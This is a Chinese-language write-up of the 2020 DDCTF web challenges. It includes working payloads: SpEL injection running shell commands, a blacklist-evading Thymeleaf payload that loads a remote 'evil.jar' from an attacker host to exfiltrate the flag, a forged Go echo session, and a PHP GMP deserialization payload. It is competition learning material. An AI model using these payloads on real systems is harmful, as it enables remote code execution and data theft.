上周参与了下2020 DDCTF比赛,做了web方向的题,加一个MISC的拼图,最终排名15。在这里将web方向题的writeup记录下来。
web签到题
访问地址,得到如下信息。
首先访问了第一个login的API,请求方式为POST,输入username和pwd,服务端返回了一个json数据。
其中data字段的值是jwt加密的,解密后的内容如下所示。userRole的值为GUEST,想要伪造该值为ADMIN,需要secret key,尝试爆破。利用jwtcrack工具。爆破出来的secret key与所输入的pwd的值一样,可以猜测它是使用输入的pwd作为secret key的。

访问第二个Auth API,带着token值,token为伪造的jwt,获取了client的下载地址,下载client。
下载client后,先file看一下文件,是个linux可执行文件,跑一下。
从这个程序中,猜测向API http://117.51.136.197/server/command 发送command能够返回数据。但如何发送呢,抓包查看。
发送的格式为{"signature":"","command":"'DDCTF'","timestamp":}。
现在需要知道的是,如何对发送的command生成正确的签名。这时候需要逆向一下client。在getSign函数中发现了一些信息,通过这些信息猜测了一下它应该是HMAC算法,使用的hash函数为sha256,加密密钥为DDCTFWithYou。 所需要加密的数据为”command|timestamp”。
结果证明猜测正确。
在输入id等命令无果后,后端应该不是shell,然后想到了模版注入,经测试,最后锁定为spel注入。模版注入的payload为
1 | T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cat /home/dc2-user/flag/flag.txt").getInputStream()) |
最后成功获取flag。
卡片商店
卡片商店题目打开内容如下:
点击重新开始后,在活动结束前共有3分钟的时间。意味着需要在3分钟内获得100张卡片,每借出一次卡片,在30s后可多获得3张,每借入一张卡片,需多还2张。经测试可以输入0张卡片,但即使这样,最多也只能获得99张卡片。对伪造session没有想法时,继续回想,既然最少可输入0,那么最多可输入多少呢?会存在溢出吗?使用2^62次数据,溢出了。
在借卡记录归还后,兑换礼物,获得下面的提示。
看到这个secret key就想到了应该是要伪造session,一般常见的是伪造flask的session,但这个的session明显不一样。首先来看一下session。
将-以及_替换为/和+后,进行解密后有如下一串结果,最后有个admin是bool值,可能为false,需要伪造为True。
1 | DstringwalletstringUS{"owings":[],"invests":[],"money":12,"now_time":1599226651,"start_time":1599226471}stringadminbool |
在尝试了多个框架的session后,最后发现为Go语言的echo框架。在网上找了echo框架的session生成。
1 | import ( |
然后访问1323端口,替换掉原来的session,访问/flag,即可获得flag。
EASY_WEB
easy_web这道题打开是一个登录框,抓包后,响应中有deleteme,确认后端有shiro,想到了shiro之前爆出来的xx/..;/绕过鉴权的漏洞。
查看源码后,发现有一个下载图片的接口,然后尝试任意文件下载漏洞,经测试,只能下载到web目录中的文件,而无法越到其他目录。
在这里尝试读取源码。首先通过WEB-INF/web.xml发现了com.ctf.util.SafeFilter和spring-web.xml,下载下来。com.ctf.util.SafeFilter里面是一个黑名单,对传入的参数会进行黑名单的检测,若存在黑名单,则返回403。黑名单如下所示:
1 | "java.+lang" |
spring-web.xml中给出了3个controller包:com.ctf.controller, com.ctf.repository, com.ctf.service。这里需要猜测一下类名。最后测出来了com.ctf.controller.IndexController.class、com.ctf.controller.AuthController.class以及com.ctf.controller.ManagerController.class。
通过阅读源码,得到了一个路径。
访问后,得到一个输入框。
根据源码,输入的值会写入一个html页面中,后续会使用thymeleaf模版进行render,但是在传入的payload中需要绕过黑名单。联想到之前利用URLClassLoader远程加载恶意的Jar包从而RCE。恶意的Jar包中,编写了读取flag文件,并发送至远程的代码。
1 | public class ExecTest |
初始的payload如下所示:
1 | [[${{T(java.net.URLClassLoader).getConstructors()[1].newInstance(new java.net.URL[]{{T(java.net.URL).getConstructors()[2].newInstance("http://xxx.xxx.xxx.xxx/evil.jar")}}).loadClass("ExecTest").getConstructor().newInstance()}}]] |
由于禁掉了引号,使用T(Character).toString()进行绕过。最终的payload如下所示:
1 | [[${T(java.net.URLClassLoader).getConstructors()[1].newInstance(new java.net.URL[]{T(java.net.URL).getConstructors()[2].newInstance(T(Character).toString(104).concat(T(Character).toString(116)).concat(T(Character).toString(116)).concat(T(Character).toString(112)).concat(T(Character).toString(58)).concat(T(Character).toString(47)).concat(T(Character).toString(47)).concat(T(Character).toString(49)).concat(T(Character).toString(49)).concat(T(Character).toString(56)).concat(T(Character).toString(46)).concat(T(Character).toString(56)).concat(T(Character).toString(57)).concat(T(Character).toString(46)).concat(T(Character).toString(50)).concat(T(Character).toString(52)).concat(T(Character).toString(53)).concat(T(Character).toString(46)).concat(T(Character).toString(49)).concat(T(Character).toString(50)).concat(T(Character).toString(50)).concat(T(Character).toString(47)).concat(T(Character).toString(101)).concat(T(Character).toString(118)).concat(T(Character).toString(105)).concat(T(Character).toString(108)).concat(T(Character).toString(46)).concat(T(Character).toString(106)).concat(T(Character).toString(97)).concat(T(Character).toString(114)))}).loadClass(T(Character).toString(69).concat(T(Character).toString(120)).concat(T(Character).toString(101)).concat(T(Character).toString(99)).concat(T(Character).toString(84)).concat(T(Character).toString(101)).concat(T(Character).toString(115)).concat(T(Character).toString(116))).getConstructor().newInstance()}]] |
最终拿到了flag。
Override me
这道题给了源码,如下所示。复现时,赛题环境已经关闭,因此直接docker搭了个环境,进行复现。
1 |
|
看到这个源码,就会想到GMP反序列化,因为它有一个转整型的操作,就可以利用GMP反序列化来修改内存中的对象的值。具体的原理参考https://paper.seebug.org/1267/。
首先$bullet的值设置为phpinfo(),发现PHP的版本为5.6.10版本。php版本小于5.6.11,可以使用内置类DateInterval。
然后$bullet设置为空,可以发现suffix_flag的位置。
然后利用payload
1 | a:1:{i:0;C:3:"GMP":109:{s:1:"3";a:2:{s:4:"flag";s:36:"-name suffix_flag.php -exec cat {} ;";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}} |
获得flag。